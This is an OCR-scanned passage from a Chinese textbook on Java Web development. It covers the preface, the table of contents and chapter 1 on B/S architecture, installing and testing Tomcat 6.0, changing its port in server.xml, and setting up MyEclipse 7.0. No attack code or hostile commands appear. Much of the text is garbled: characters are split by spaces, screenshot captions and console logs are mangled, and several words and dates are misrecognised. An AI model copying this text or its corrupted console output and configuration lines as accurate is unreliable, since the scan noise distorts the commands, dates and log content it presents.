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Java Web 开发 是 Java EE 技术 中 的 一 个 重要 组 成 部 分 ,在 B/S 开发 领域 占有 一 席 之 
地 。 本 书 针对 Java Web 开发 编程 进行 了 详细 的 讲解 ,以 简单 的 ,通俗 易 懂 的 案例 循序 渐进 
地 逐步 引领 读者 从 基础 到 各 个 知识 点 的 学 习 。 本 书 涵盖 了 Java Web 开发 环境 配置 、 
HTML 和 JavaScript、JSP 开发 .Servlet 开发 .应 用 开发 和 框架 等 内 容 , 每 章 后 面 都 有 习题 ， 
用 于 对 该 章 内 容 进行 总 结 演练 。 另 外 , 书 末 还 提供 了 编程 实 训 供 教师 教学 选用 。 


一 、 本 书 的 知识 体系 
学 习 Java Web 开发 最 好 能 有 Java 面向 对 象 编程 的 基础 ,本 书 的 知识 体系 结构 如 下 。 
第 1 部 分 入 门 第 4 部 分 应 用 开发 与 框架 
第 1 章 Java Web 开发 环境 配置 第 11 章 EL 和 JSTL 
第 2 章 HTML 基础 第 12 章 AJAX 和 人 入门 
第 3 章 JavaScript 基础 第 13 章 ”验证 码 和 文件 的 上 传 与 下 载 
第 14 章 MVC 和 Struts2 的 基本 原理 
第 2 部 分 JSP 编程 第 15 章 Web 网 站 安全 
第 4 章 JSP 基本 语法 
第 5 章 表单 开发 
第 6 章 JSP 访问 数据 库 和 5 者 分 区 划 
第 7 章 JSP 内 置 对 象 (1) 第 16 章 ”编程 实 训 1: 投票 系统 
第 8 章 JSP 内置 对 象 (2) 第 17 章 ”编程 实 训 2: 投票 系统 改进 版 和 成 绩 
输入 系统 
第 3 部 分 Serviet 和 JavaBean 开发 第 18 章 ”编程 实 训 3: 在 线 交流 系统 
第 9 章 Servlet 编程 第 19 章 ”编程 实 训 4: 购物 系统 
第 10 章 JSP 和 JavaBean 第 20 章 ”编程 实 训 5: AJAX 的 应 用 
二 、 章 节 内 容 介绍 
全 书 共 分 为 5 个 部 分 。 


第 1 部 分 为 人 门 , 包 括 3 章 。 

第 1 章 讲解 Java Web 开发 的 软件 安装 和 环境 配置 ,并 开发 第 一 个 Web 程序 ; 第 2 章 
讲解 HTML 的 基础 知识 ; 第 3 章 讲解 JavaScript 的 基础 知识 。 

第 2 部 分 为 JSP 编程 , 共 分 为 5 章 讲解 。 

第 4 章 介绍 JSP 基本 语法 ,引导 读者 开发 简单 的 JSP 程序 ; 第 5 章 介绍 JSP 中 的 表单 
开发 ; 第 6 章 针对 网 页 的 应 用 要 求 讲解 在 JSP 中 访问 数据 库 的 方法 ; 第 7 章 和 第 8 章 讲解 
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JSP 的 内 置 对 象 。 

第 3 部 分 为 Servlet 和 JavaBean 开发 ,分 两 章 讲解 。 

第 9 章 介绍 Servlet 基础 编程 ,主要 包括 Servlet 基础 API Servlet 的 生命 周期 等 ; 第 10 
章 介 绍 JSP 和 JavaBean 在 Web 开发 中 的 应 用 。 

第 4 部 分 为 应 用 开发 与 框架 ,主要 针对 Java Web 开发 过 程 中 的 重要 问题 进行 前述, 共 
分 为 5 章 讲解 。 

第 11 章 介绍 表达 式 语言 及 其 与 JSTL 的 配合 使 用 ; 第 12 章 介绍 Web 2.0 的 代表 技 
术 一 一 AJAX 开发 ; 第 13 章 介 绍 Web 开发 过 程 中 的 两 个 重要 技术 , 即 验证 码 和 文件 的 上 
传 与 下 载 ; 第 14 章 介 绍 目 前 比较 流行 的 一 个 Web 开发 框架 一 一 Struts2; 第 15 章 介 绍 
Web 网 站 的 安全 性 。 

第 5 部 分 为 实 训 ,主要 针对 Java Web 常见 技术 设计 了 5 个 实 训 题 目 , 供 教师 教学 时 
选用 。 

本 书 为 学 校 教学 量 身 定做 , 供 高 校 Java Web 开发 相关 课程 使 用 ,也 可 以 供 有 Java SE 
知识 基础 但 没有 Java Web 开发 基础 的 程序 员 作 为 入 门 用 书 ,更 可 以 供 社会 Java 技术 培训 
班 作为 教材 使 用 ,对 于 缺乏 项 目 实战 经 验 的 程序 员 来 说 ,通过 本 书 的 学 习 可 快速 积累 项 目 开 
发 经 验 。 

本 书 提供 程序 源码 .教学 大 纲 .电子 课件 和 习题 答案 , 供 读者 学 习 参 考 使 用 ,所 有 程序 均 
经 过 了 作者 精心 的 调试 ,读者 可 以 扫描 封底 课件 二 维 码 下 载 。 本 书 中 还 提供 600 分 钟 的 视 
频 讲 解 ,扫描 书 中 的 二 维 码 ,可 以 在 线 观 看 配套 的 视频 讲解 。 

由 于 时 间 仓 促 和 作者 的 水 平 有 限 , 书 中 不 妥 之 处 在 所 难免 , 敬 请 读者 批评 指正 。 

有 关 本 书 的 意见 反馈 和 咨询 ,读者 可 在 清华 大 学 出 版 社 网 站 相关 版 块 中 与 作者 进行 
交流 。 

除 本 书 作 者 之 外 , 唐 雅 媛 . 唐 达 济 \ 何 艳 、 许 涛 、 曹 瑞 、 罗 涛 等 人 在 本 书 的 撰写 过 程 中 做 了 
大 量 工作 ,在 此 深 表 感谢 。 


郭 克 华 
2019 年 3 月 
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建议 学 时 : 2 

Web 开发 是 在 B/S 模式 下 进行 的 一 种 开发 形式 。 本 章 首 先 学 习 B/S 结构 的 主要 特点 ; 
然后 学 习 服 务 器 的 安装 、IDE 的 安装 和 配置 ; 最 后 学 习 建 立 简 单 的 Web 项 目 , 并 了 解 Web 
项 目的 结构 。 


1.1 B/S 结构 


在 网 络 应 用 程序 中 有 两 种 基本 的 结构 , 即 C/S( 客 户 机 /服务 器 ) 和 B/S( 浏 览 器 /服务 
器 )。 对 于 C/S 程序 ,以 通常 使 用 的 QQ 为 例 ,系统 的 部 署 结构 如 图 1-1 所 示 。 

从 图 1-1 可 以 看 出 ,C/S 分 为 客户 机 和 服务 器 两 层 , 把 应 用 软件 安装 在 客户 机 端 ,通过 
网 络 与 服务 器 端 相互 通信 。 如 果 应 用 软件 改动 了 (例如 丰富 界面 、 增 加 功能 ) ,就 必须 通知 所 
有 的 客户 端 重新 安装 ,维护 稍 有 不 便 。 

B/S 结构 却 不 用 通知 客户 端 安 装 某 个 软件 ,内 容 修改 了 ,也 不 需要 通知 客户 端 升级 。 
B/S 也 分 为 客户 机 和 服务 器 两 层 , 但 是 在 客户 机 上 不 用 安装 软件 ,只 需要 使 用 浏览 器 即 可 。 
例如 百度 的 查询 界面 ,输入 “https://www. baidu. com”, 通 过 Internet Explorer(IE) 进 行 查 
询 ,就 是 B/S 结构 的 一 种 应 用 形式 。 这 样 , 每 当 修改 了 应 用 系统 ,只 需要 维护 应 用 服务 器 ， 
所 有 客户 端 只 需 打 开 浏 览 器 ,输入 相应 的 网 址 (例如 “https://www. baidu. com”) ,就 可 以 
访问 到 最 新 的 应 用 系统 。 在 当前 的 应 用 系统 中 ,B/S 系统 占 绝对 主流 地 位 。 

浏览 器 一 般 是 和 操作 系统 一 起 安装 的 。 在 Windows 系统 中 ,IE 就 是 浏览 器 ,在 桌面 上 
的 图 标 如 图 1-2 所 示 。 


需要 安装 客户 端 软 伯 


图 1-1 QQ 的 C/S 部 署 结 构 图 1-2 浏览 器 图 标 
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因此 ,B/S 部 署 结构 如 图 1-3 所 示 。 


但 是 ,B/S 结构 相 较 于 C/S 结构 也 存在 一 定 的 劣 
局 势 , 例 如 服务 器 端 负 担 比 较 重 、 客 户 端 界 面 不 够 丰富 、 

一 一 一 客户 1 快速 响应 不 如 C/S 结构 等 。 
局 如 果 要 开发 基于 B/S 结构 的 应 用 系统 ,必须 首先 

知道 什么 是 Web 网 站 。 

Web 的 原意 是 “蜘蛛 网 ,或 “网 ”。 在 互联 网 等 技 
本 局 术 领 域 特 指 网 络 , 在 应 用 程序 领域 又 是 "World Wide 
服务 器 客户 3 Web( 万 维 网 )" 的 简称 。 不 过 ,对 于 不 同 的 对 象 有 几 个 
客户 端 使 用 浏览 器 ”方面 的 意思 : 对 于 普通 用 户 来 说 , Web 是 一 种 应 用 程 
1-3 ”B/S 部署 结构 序 的 使 用 环境 ; 对 于 软件 (网 站 ) 的 制作 者 来 说 , Web 


是 一 系列 技术 的 复合 总 称 ,例如 网 站 的 用 户 界面 .后 
在 Web 程序 结构 中 ,浏览 器 端 与 应 用 服务 器 端 采 用 请 求 /响应 模式 进行 交互 ,如 图 1-4 
所 示 。 


引 访 问 数据 库 


了 用户 输入 应 用 


客户 中 服务 器 数据 库 


服务 器 


习 发 送 响应 习 返 回 结果 


人 @@ 显示 
图 1-4 浏览 器 端 与 服务 器 端的 交互 模式 


该 过 程 描述 如 下 。 

@ 客户 端 (通常 是 浏览 器 ,例如 IE、Firefox 等 ) 接 受用 户 的 输入 ,例如 用 户 名 、 密 码 、 查 
询 字符 串 等 。 

@ 客户 端 向 应 用 服务 器 发 送 请 求 , 即 输入 之 后 提交 ,客户 端 把 请 求 信息 (包含 表单 中 的 
输入 以 及 其 他 请 求 等 信息 ) 发 送 到 应 用 服务 器 端 ,客户 端 等 待 服务 器 端的 响应 。 

@ 数据 处 理 , 即 应 用 服务 器 端 使 用 某 种 脚本 语言 访问 数据 库 、 查 询 数据 ,并 获得 查询 
结果 。 
@ 数据 库 向 应 用 服务 器 中 的 程序 返回 结果 。 

@ 发 送 响应 , 即 应 用 服务 器 端 向 客户 端 发 送 响应 信息 (一 般 是 动态 生成 的 HTML 
页 面 ) 。 

@ 显示 , 即 由 用 户 的 浏览 器 解释 HTML 代码 ,呈现 用 户 界面 。 

可 以 说 ,不 同 的 Web 编程 语言 对 应 着 不 同 的 Web 编程 方式 ,目前 常见 的 应 用 于 Web 
的 编程 语言 主要 有 以 下 几 种 。 

(1) CGICCommon Gateway Interface) : CGI 的 全 称 是 “公共 网 关 接口 ?>, 其 程序 必须 运 
行 在 服务 器 端 。CGI 的 核心 是 CGI 程序 ,负责 处 理 客户 端的 请 求 。 早 期 有 很 多 Web 程序 
用 CGI 编写 ,但 是 由 于 其 性 能 较 低 和 编程 复杂 ,目前 使 用 较 少 。 

(2) PHP(PHP:Hypertext Preprocessor): PHP 是 一 种 可 能 入 HTML 可 在 服务 器 端 
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执行 的 内 嵌 式 脚本 语言 ,该 语言 的 风格 比较 类 似 于 C 语言 ,使 用 范围 比较 广泛 。PHP 的 执 
行 效率 要 比 CGI 高 许多 ,另外 它 支 持 几乎 所 有 流行 的 数据 库 以 及 操作 系统 。 

(3) JSP(Java Server Pages) : JSP 是 由 Sun 公司 提出 、 其 他 许多 公司 一 起 参与 建立 的 
一 种 动态 网 页 技术 标准 。 和 PHP 一 样 ,使 用 JSP 开发 的 Web 应 用 也 是 跨 平台 的 。 另 外 ， 
JSP 支持 自 定义 标签 。JSP 具备 了 Java 技术 面向 对 象 .与 平台 无 关 性 且 安 全 可 靠 的 优点 , 众 
多 大 公司 都 支持 JSP 技术 的 服务 器 ,使 得 JSP 在 商业 应 用 的 开发 方面 成 为 一 种 流行 的 
语言 。 

(4) ASP(Active Server Page) : ASP 意 为 “动态 服务 器 页 面 ", 它 是 微软 公司 开发 的 一 
种 应 用 ,最 初 的 开发 目的 是 代替 CGI 脚本 ,可 以 运行 于 服务 器 端 ,在 中 小 型 Web 应 用 中 比 
较 流行 。 


1.2 服务 器 的 安装 


1.2.1 服务 器 的 作用 


建立 Web 网 站 ,最 基本 的 要 求 是 能 让 客户 通过 http/https 协议 访问 网 站 的 网 页 。 例 如 
输入 “https://www. baidu. com”, 可 以 打开 百度 页 面 ,说 明 百 度 就 是 Web 网 站 。 

为 了 能 通过 http/https 协议 访问 网 页 ,只 需 将 网 页 放 在 服务 器 中 运行 。 注 意 ,此 处 所 说 
的 服务 器 是 软件 服务 器 ,不 是 硬件 服务 器 。 

Java 系列 的 服务 器 有 很 多 ,例如 Tomcat、Resin、Jboss、WebLogic、WebSphere 等 。 本 
章 以 Tomcat 6. 0 为 例 来 进行 讲解 。 

不 过 ,值得 注意 的 是 ,在 安装 Tomcat 6. 0 之 前 一 定 要 保证 安装 了 JDK 5.0 或 其 以 上 版 
本 ,并 配置 了 环境 变量 (例如 Path 等 )。 


1.2.2 获取 服务 器 软件 


获取 服务 器 软件 的 操作 过 程 如 下 。 

Oz 在 浏览 器 的 地 址 栏 中 输入 "http://tomcat. apache. org”, 可 以 看 到 Tomcat 的 可 下 载 
版 本 ,如 图 1-5 所 示 。 选 择 Tomcat 6 ,根据 提示 下 载 。 

@ 在 图 1-5 所 示 的 界面 中 单 击 “Tomcat 6”, 进 入 如 
图 1-6 所 示 的 页 面 (此 处 显示 的 是 页 面 底部 的 部 分 ) 。 

@ 在 Windows 环境 下 选择 “32-bit/64-bit Windows 


Java WebSocket 让 

Service Installer” 即 可 下 载 安装 版 本 .下 载 之 后 将 得 到 一 Which version? The a 
je Cs 

个 可 执行 文件 ,在 本 章 中 为 apache-tomcat-6. 0. 45. exe。 Tmt wo Te 
project To leam more 

注意 ,也 可 以 下 载 压缩 包 , 直 接 解压 之 后 运行 。 TI Apacna Toncalaoha 


applications across a G 
users and their storles 


读者 在 访问 此 页 面 时 显示 的 界面 可 能 会 稍 有 不 同 ， 
因此 读者 可 自行 下 载 相应 版 本 应 用 。 图 1-5 Tomcat 下 载 版 本 
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GEiibuiion contains. 


Get Involved EE 
i Binary Distributions 
SVN Repositories 
Buildbot Rone 5 
ovina * Zp (pgp. mg5) 
Tools * targz (pgp, md5) 
= 32-bit Windows zip (pgp, md5) 
* 64-bit Windows zip (pgp. md5) 
a — 32-blu64-bit Windows Service Installer (pgp, md5) 


图 1-6 Tomcat 6.x 下 载 页 面 
1.2.3 安装 服务 器 


1. 安装 过 程 
Q@ 双击 下 载 后 的 安装 文件 ,得 到 如 图 1-7 所 示 的 安装 界面 。 


Welcome to the Apache Tomcat 
Setup Wizard 


Th wzard wll guide you through the nstalaton of Apache 
Tomcat 


Itisrecommended that you dose all other applcations 
before starting Setup. This wdl make it Possble to update 
relevant system fles wthout havng to reboot your 
computer. 


Chck Next to continue. 


图 1-7 Tomcat 安装 界面 1 
Next 按钮 ,得 到 如 图 1-8 所 示 的 界面 。 


Please review the hcense terms before nstaling Apache Tomcat. 


Press Page Down to see the rest of the agreement. 


Apache License 
Version 2.0, January 2004 
http:/hrww.apache.oraficenses/ 


TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 
1 Definitons. 


‘Ucense” shall mean the terms and conditons for use, reproducton, 
and distribution as defined by Sectons 1 through 9 of this doaument 


IF you accept the terms of the agreement dick 1 Agree to continue. You must accept the 
agreement to instal Apache Tomcat 


[cet | Woee | ( cme 


图 1-8 Tomcat 安装 界面 2 
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@ 在 图 1-8 所 示 的 界面 中 单 击 I Agree 按钮 ,出 现 如 图 1-9 所 示 的 界面 。 


(Choose which features of Apache Tomcat you want to install. 


Chedk the components you want to install and uncheck the components you dorit want to 
instal. Cick Next to continue. 


Select the type of nstal: 
or select the optional ee 
components you wish to 
instal: 


图 1-9 Tomcat 安装 界面 3 


@ 在 图 1-9 所 示 的 界面 中 进行 组 件 的 选择 ,可 以 选择 是 否 安装 案例 或 者 文档 。 在 本 次 
安装 中 使 用 默认 选项 , 单 击 Next 按钮 ,出现 如 图 1-10 所 示 的 界面 。 


Create shortauts for all users 


Tomcat Administrator Login 。 User Name 
optuonan 


Nullsoft instal System v2.50 


1-10 Tomcat 安装 界面 4 


@ 在 图 1-10 所 示 的 界面 中 选择 Tomcat 服务 器 运行 的 端口 号 ,默认 为 8080。 注 意 ,不 
要 与 系统 中 已 经 使 用 的 端口 号 冲突 。 单 击 Next 按钮 ,出 现 如 图 1-11 所 示 的 界面 。 

提示 : 对 于 端口 号 的 概念 ,读者 可 以 参考 网 络 基本 知识 。 

@ 在 图 1-11 所 示 的 界面 中 找到 JDK 的 安装 目录 , 绑 定 JDK, 单 击 Next 按钮 ,出 现 如 
图 1-12 所 示 的 界面 。 在 该 界面 中 确认 Tomcat 的 安装 目录 ,然后 单 击 Install 按钮 即 可 进行 

2. 安装 目录 介绍 

如 果 是 默认 安装 ,在 Tomcat 安装 完毕 之 后 ,可 以 在 “C:\Program Files\ Apache 
Software Foundation\Tomcat 6.0” 下 找到 安装 的 目录 ,如 图 1-13 所 示 。 
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Please select the path of a Java SE 5.0 or later JRE instaled on your system 


C:\Program FlesVavaWre6 


Nullsoft Install 


图 1-11 Tomcat 安装 界面 5 


Choose Install Location 
(Choose the folder in which to install Apache Tomcat. 


Setup wl install Apache Tomcat in the folowing folder. To install in a different folder, dick 
Browse and select another folder. Cick Instal to start the instalation. 


1-12 Tomcat 安装 界面 6 


CR ) « Program Files » Apache Software Foundation » Tomcat6.0 2 


修改 日 期 


2016/4/24 21:27 
2016/4/24 21:27 
2016/4J24 21:27 
2016/4/24 21:27 
2016/4/24 21:27 


2016/4/24 21:27 
2016/4/24 21:27 
2016/212 208 
2016/212 208 
2016/2/2 208 
Uninstall.exe 2016/4/24 21:27 


图 1-13 Tomcat 安装 目录 
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在 Tomcat 安装 目录 中 ,比较 重要 的 文件 夹 或 文件 内 容 见 表 1-1。 
表 1-1 Tomcat 安装 目录 中 重要 文件 夹 或 文件 内 容 


文件 夹 /文件 名 称 内 容 
bin 支持 Tomcat 运行 的 常见 的 .exe 文件 
conf Tomcat 系统 的 一 些 配 置 文件 
logs 系统 日 志文 件 
webapps 网 站 资源 文件 


1.2.4 测试 服务 器 


在 Tomcat 安装 完毕 之 后 要 知道 其 安装 成 功 与 否 。 


CD 首 9 开 Tomcat。 进 入 Tomcat 安装 目录 下 的 bin 目录 会 发 现 如 图 1-14 所 示 的 两 
个 交 件 。 
Ww Tomcat6.exe 修改 日 期 : 2016/2/2 2:08 
名 尖 型 : 应 用 程序 大 小 : 79.0 KB 
~ Tomcat6w.exe 修改 日 期 : 2016/2/2 2:08 
散 当 型 : 应 用 程序 大 小 : 102 KB 


图 1-14 bin 目录 中 的 文件 


这 两 个 .exe 文件 都 可 以 打开 Tomcat 服务 器 ,其 中 ,Tomcat6. exe 是 以 控制 台 形 式 打开 
Tomcat,Tomcat6w. exe 是 以 窗口 形式 打开 Tomcat 
Tomcat6. exe 出 现 控制 台 界 面 ,如 图 1-15 所 示 。 


g-apache .catalina.startup.Catalina load 
信息 : Initialization processed in 518 ms 
B16-4-24 2 15 org.apache.catalina.core.StandardService start 
言 Starting service Catalina 
2816-4-24 21:35:15 org.apache.catalina.core.StandardEngine start 
信息 : Starting Servlet Engine: hpache Tomcat/6.90.45 
:15 org.apache.catalina.startup.HostConfig deployDirectory 
Deploying web application directory docs 
2916-4-24 2 15 org.apache.catalina.startup.HostConfig deployDirectory 
信息 : Deploying web application directory manager 
|2016-4-24 21:35:15 org.apache.catalina.startup.HostConfig deployDirectory 
息 : Deploying web application directory ROOT 
5:15 org.apache.coyote.httpii.HttpiiProtocol start 
Starting Coyote HITP/1.1 on http-8989 
2 15 org.apache.jk.connon.ChannelSocket init 
: ajpl3 listening on /0.0-0.0:8809 
15 org.apache.jk.server.JkMain start 
Jk running ID-B tine-8/16 config=nul1 
.apache.catalina.startup.Catalina start 
息 : Server startup in 397 ms 


图 1-15 控制 台 界 面 


在 Tomcat 的 启动 信息 中 包含 了 以 下 重要 信息 。 
“信息 : Starting Coyote HTTP/1. 1 on http-8080” 提 示 在 8080 端口 启动 了 Tomcat 
服务 ; 
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。“ 信 息 : Server startup in 397 ms” 提 示 Tomcat 已 经 启动 完 
@ 打开 浏览 器 ,在 浏览 器 的 地 址 栏 中 输入 “http://localhost:8080/index. jsp”。 在 正常 
情况 下 能 够 得 到 如 图 1-16 所 示 的 页 面 。 


Apache Tomcat/6.0.45 


Apache 上 
yy Te he Apache Software Fo 
- http://www.apach 


Administration Ifyou're seeing this page via a web browser, it means you've 
setup Tomcat successfully. Congratulations! 


Status 
‘Tomcat Manager As you may have guessed by now, this is the default Tomcat home ~ 


4 加 上 


全 Internet | 保护 模式 :启用 腿 100% ~ 


图 1-16 Tomcat 首页 
实际 上 ,该 页 面 在 硬盘 上 位 于 Tomcat 安装 目录 下 webapps 文件 夹 的 ROOT 中 。 
1.2.5 配置 服务 器 


在 上 面 的 安装 中 使 用 的 是 8080 端口 ,但 是 8080 端口 可 能 会 被 其 他 程序 占用 。 在 这 种 
情况 下 通常 会 出 现 如 图 1-17 所 示 的 提示 ， 


at org.apache.tomcat.util.net.JIoEndpoint .init (JIoEndpoint .java:552) 

... 12 more 
-24 23:01:03 org.apache.catalina. core.StandardService start 
Failed to t connector [Conne /: 080 

E: service.getName() Protocol handler start fail 

Addr. W_Bind <null>:8080 
art (Connector .java:1227) 

.apache.catalina.core.StandardService.start(StandardService. java:9| 


.apache.catalina.core.StandardServer .start (StandardServer .java 


apache.catalina.startup.Catalina.start (Catalina. java: 595) 
-reflect .NativeMethodAccessor Imp] .invokeO0(Native Method) 
.reflect .NativeMethodAccessor Imp]. invoke(Unknown Source) 
niect: olegat ingett oA ess rImp1.invoke(Unknown Source) 
java. lang.reflect .Method. invoke(Unknown Source) 
org.apache.catalina.startup.Bootstrap.start (Bootstrap.java:289) 
g.apache.catalina.startup.Bootstrap.main(Bootstrap.java:414) 


org.apache. jk.common.ChannelSocket init 
JK: ajpl3 listening on /0 009 
01:03 org.apache. jk.server .JkMain start 
Jk running ID=0 time=0/31 config=nul]l 
24 23:01:03 org.apache.catalina.startup.Catalina 
Server startup in 465 ms 


图 1-17 Tomcat 错误 提示 


其 实 可 以 配置 服务 器 ,将 服务 器 运行 的 端口 号 改 为 其 他 端口 (例如 8888)。 其 方法 很 简 
单 ,具体 如 下 。 
@ 首先 找到 Tomcat 安装 目录 下 conf 文件 夹 中 的 server. xml 文件 。 
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@ 使 用 记事 本 或 者 写字 板 打 开 该 文件 ,在 文件 中 找到 “Connector port 一 "8080"”。 
@ 将 “8080” 改 为 *8888”, 如 图 1-18 所 示 , 然 后 保存 配置 文件 。 


i 
a aes a EE ra 
Define a nonr-SSL HTTP/1.1 Connector on port 8080 
一 > 
《Connector port=”| ” protocol="HTTP/1.1” 
connectionTimeout= "20000” 
redirectPort="8443” /> 
《1-- A “Comector” using the shared thread pool--> 
he 
Connector executor="tomcatThreadPool” 


100% 日 一 人 由 


图 1-18 server. xml 文件 


@ 重启 服务 器 ,测试 时 输入 的 网 址 为 “http://localhost:8888/index. jsp”。 
1.3 IDE 的 安装 


1.3.1 IDE 的 作用 


如 果 要 开发 基于 B/S 的 应 用 系统 ,首先 必须 开发 网 页 ,在 传统 情况 下 ,网 页 可 以 直接 用 
记事 本 编写 。 

然而 ,在 大 型 项 目 中 网 页 的 个 数 较 多 ,如 果 都 用 记事 本 编写 ,效率 较 慢 ,更 重要 的 是 ,出 
现 错误 后 记事 本 无 法 给 出 提示 ,因此 可 以 使 用 相应 的 IDE 软件 帮助 编写 。 

IDE(Integrated Development Environment, 集 成 开发 环境 ) 是 帮助 用 户 进行 快速 开发 
的 软件 ,JCreator、Eclipse 和 Dreamweaver 都 属于 IDE。 

Java 系列 的 IDE 很 多 ,例如 JBuilder、JCreator、NetBeans、Eclipse 和 MyEclipse 等 。 其 
中 ,MyEclipse 是 收费 软件 ,但 是 对 Java EE 应 用 开发 进行 了 很 多 支持 ,功能 比较 强大 ,本 章 
以 MyEclipse 7.0 为 例 来 进行 讲解 。 

在 MyEclipse 7.0 中 虽然 内 置 了 JDK 和 Tomcat 服务 器 ,但 可 以 不 使 用 ,通过 进行 相应 
配置 使 用 自行 安装 的 JDK 6.0 和 Tomcat 6. 0。 


1.3.2 获取 IDE 软件 


在 浏览 器 的 地 址 栏 中 输入 “http://www. myeclipseide. com”, 能 够 看 到 MyEclipse 的 
各 个 版 本 。 用 户 可 以 根据 提示 下 载 。 

注意 : 由 于 文件 较 大 ,在 本 书 资源 中 已 提供 了 安装 软件 ,读者 也 可 以 不 从 MyEclipse 官 
方 网 站 上 下 载 , 在 百度 中 进行 搜索 ,一 般 能 够 很 方便 地 下 载 到 安装 文件 。 
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在 本 章 中 ,下 载 之 后 得 到 可 执行 文件 myeclipse-7. 0-win32. exe。 


实际 上 ,MyEclipse 已 经 推出 了 更 高 的 版 本 ,但 是 综合 考虑 系统 速度 和 开发 需求 ,本 书 
还 是 选择 了 MyEclipse 7. 0, 读 者 也 可 以 选择 更 高 的 版 本 ,使 用 起 来 没有 太 大 区 别 。 
1.3.3 安装 IDE 


安装 IDE 的 操作 过 程 如 下 。 
@O 双击 下 载 后 的 安装 文件 ,如 图 1-19 所 示 。 用 户 可 以 根据 提示 进行 安装 ,期 间 不 需要 
进行 太 多 的 配置 。 


@ 安装 完毕 之 后 可 以 在 “开始 ”菜单 中 打开 MyEclipse (以 管理 员 身 份 运行 ), 如 图 1-20 
所 示 。 


出 MyEdipse 7.0 Milestone-1 


加 MyEclipse 7.0 Milestone-1 
团 Uninstal 
B Nodejs 
MyEclipse_7.0M1._E3.4.0_Installe 、 
ss B winRAR 
Setup.exe 出 附件 


图 1-19 MyEclipse 安装 文件 


1-20 “开始 "菜单 
@ 单 击 MyEclipse 图 标 , 打 开 如 图 1-21 所 示 的 对 话 框 。 


Select a workspace 
MyEclipse Enterprise Workbench stores your projects in a folder called a workspace. 
| Choose ® workspece folder to use for this session. 


Workspace: | ETEEEETE 


Use this as the default and do not ask again 


1-21 选择 工作 空间 
在 打 


的 过 程 中 程序 可 能 需要 选择 路 径 ,也 就 是 以 后 工程 存放 的 默认 路 径 , 用 户 可 以 通 
过 Browse 按钮 改变 路 径 , 也 可 以 使 用 默认 路 径 。 本 处 使 用 默认 路 径 。 


@ 在 图 1-21 所 示 的 对 话 框 中 单 击 OK 按钮 ,打开 如 图 1-22 所 示 的 界面 。 

注意 : 在 打开 MyEclipse 界面 时 有 时 候 会 出 现 欢迎 标签 ,直接 关闭 该 标签 ,也 会 得 到 
图 1-22 所 示 的 界面 。 

@ 由 于 MyEclipse 是 收费 软件 ,需要 进行 注册 才能 够 使 用 。 选 择 菜单 命令 Window | 
Preferences, 如 图 1-23 所 示 。 


@@ 在 弹出 的 对 话 框 中 选择 选项 MyEclipse Enterprise Workbench | Subscription, 如 
图 1-24 所 示 。 
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LE Cm 
File Edit Source Refactor Navigate Search Project MyEcipse Run Window Help 
员 > 贺 妨 十 ;人 ;时 ; 呈 -Ba 四 呈 -j 国 -3 因 - zt-O-Qa- OWE 
各 国外 了 "四 加 "由 "7 守 7 
rem] 9 = [GE ovine 3 | 
one 
国 Imag Bsnipp]™ © | 加 mopenies Ba sn 
乌 | 国 QQ 回回 ” 国 加 号” 
< Property Value 
医 Problems 局、\ 本 Tasks| 留 Web Browser| 回 Console | 遇 Servers| SY 
iems | 
Description Resource Path Location Ty 
1 cl F 


mT 


图 1-22 ” MyEclipse 界面 


加 Preferences 


去 -= type filter text Subscription 
lew Window ei 
New Editor Je E 
4 MyEdipse EnterpriseV | Subscriber 
Open Perspective » bp AJAX Subscription Code 
Show View 上 » Database Explorer i 
s 。 b Files and Editors 
Customize Perspective... 一 一 一 一 = 
i a b Internet Tools 人 本 
人 ee ve epi ibid Subscription Detail 
ee Matisse4MyEdipse| 由 一 一 一 
Close perspective » MavenAMyEch 
; pe | | lnterSubscription:] 
Close All Perspectives 》 Project Capabilities 
Navigati » b Report Design 
Db Servers 
Preferences Subscription| 
图 1-23 Preferences 菜单 命令 图 1-24 ”Subscription 选项 


@ 在 图 1-24 所 示 对 话 框 的 右 侧 单 击 Enter Subscription 按钮 ,弹出 如 图 1-25 所 示 的 对 
话 框 。 

在 其 中 输入 Subscriber 和 Subscription Code, 然 后 单 击 Finish 按钮 ,安装 完 

由 于 MyEclipse 是 商业 软件 ,在 此 不 方便 提供 其 Subscriber 和 Subscription Code, 读 者 
可 以 自行 注册 MyEclipse, 获 得 其 Subscriber 和 Subscription Code。 
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= 


Update Subscription Wizard 
Enter or update your subscription information. 


图 1-25 注册 


1.3.4 配置 IDE 


虽然 MyEclipse 中 已 经 内 置 了 Java 环境 ,但 仍 可 以 使 用 自行 安装 的 JDK 进行 支持 , 因 
此 首先 需要 绑 定 MyEclipse 和 JDK ,其 操作 过 程 如 下 。 

GD 打开 MyEclipse, 选 择 菜单 命令 Window |Preferences, 弹 出 如 图 1-26 所 示 的 对 话 框 ， 
再 选择 选项 Java| Installed JREs, 可 以 看 到 MyEclipse 已 经 和 JDK 绑 定 。 


errs 于 


type filter text Installed JREs ec sw| 


”General Add remove or edit JRE definitions. By default, the checked JRE is added to the 
b Ant build path of newly created Java projects. 

b Help 
» Instal/Update Installed JREs: 

4 Java Name Location 


P Appearance 园 柄 MyEdipse 7OM1 CAUsers\Fan\AppData\Roaming\M| [站 = 
» Build Path | 


Duplicate.. 


b Debug Remove 


kr 


properties Files Editor 
» MyEclipse Enterprise Wor 
b Plug-in Development 
bp Run/Debug 


b Team 


@ [or | cnce | 


图 1-26 ” 绑 定 MyEclipse 和 JDK 
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ss 


@ 由 于 该 JDK 可 能 不 是 自行 安装 的 JDK, 所 以 单 击 右边 的 Edit 按钮 进行 更 改 ,如 
1-27 所 示 。 


Edit EI 
JRE Definition 
Specify attributes for a JRE := 
JRE home: CAUsers\FanAppData\Roaming\MyEclipse 7.0M1 | 
JRE name: MyEclipse 7.0M1 
Default VM Arguments: 
JRE system libraries: 
加 C\Users\FanAppData\Roaming\MyEclipse 7.0M1\jre\ib\rtjar 
加 CA\Users\Fan\AppData\Roaming\MyEclipse 7.0M1\re\lib\jssejar [一 一 一 一 
加 CNUsers\FanWAppData\Roaming\MyEciipse 70MlNireViibVicejar Javadoc Location 
加 C\Users\FanAppData\Roaming\MyEclipse 7.0M1\jre\ib\charsetsjar yy 
发 Ci\Users\Fan\AppData\Roaming\MyEclipse 7.0M1\jre\lib\ext\dnsnsjar Ps 
加 CUsers\Fan\AppData\Roaming\MyEclipse 7.0M1\jre\ib\ext\localedatajar | Remove 
加 C\Users\FanAppData\Roaming\MyEclipse 7.0M1\jre\lib\ext\sunjce_providerjar | [ FT 
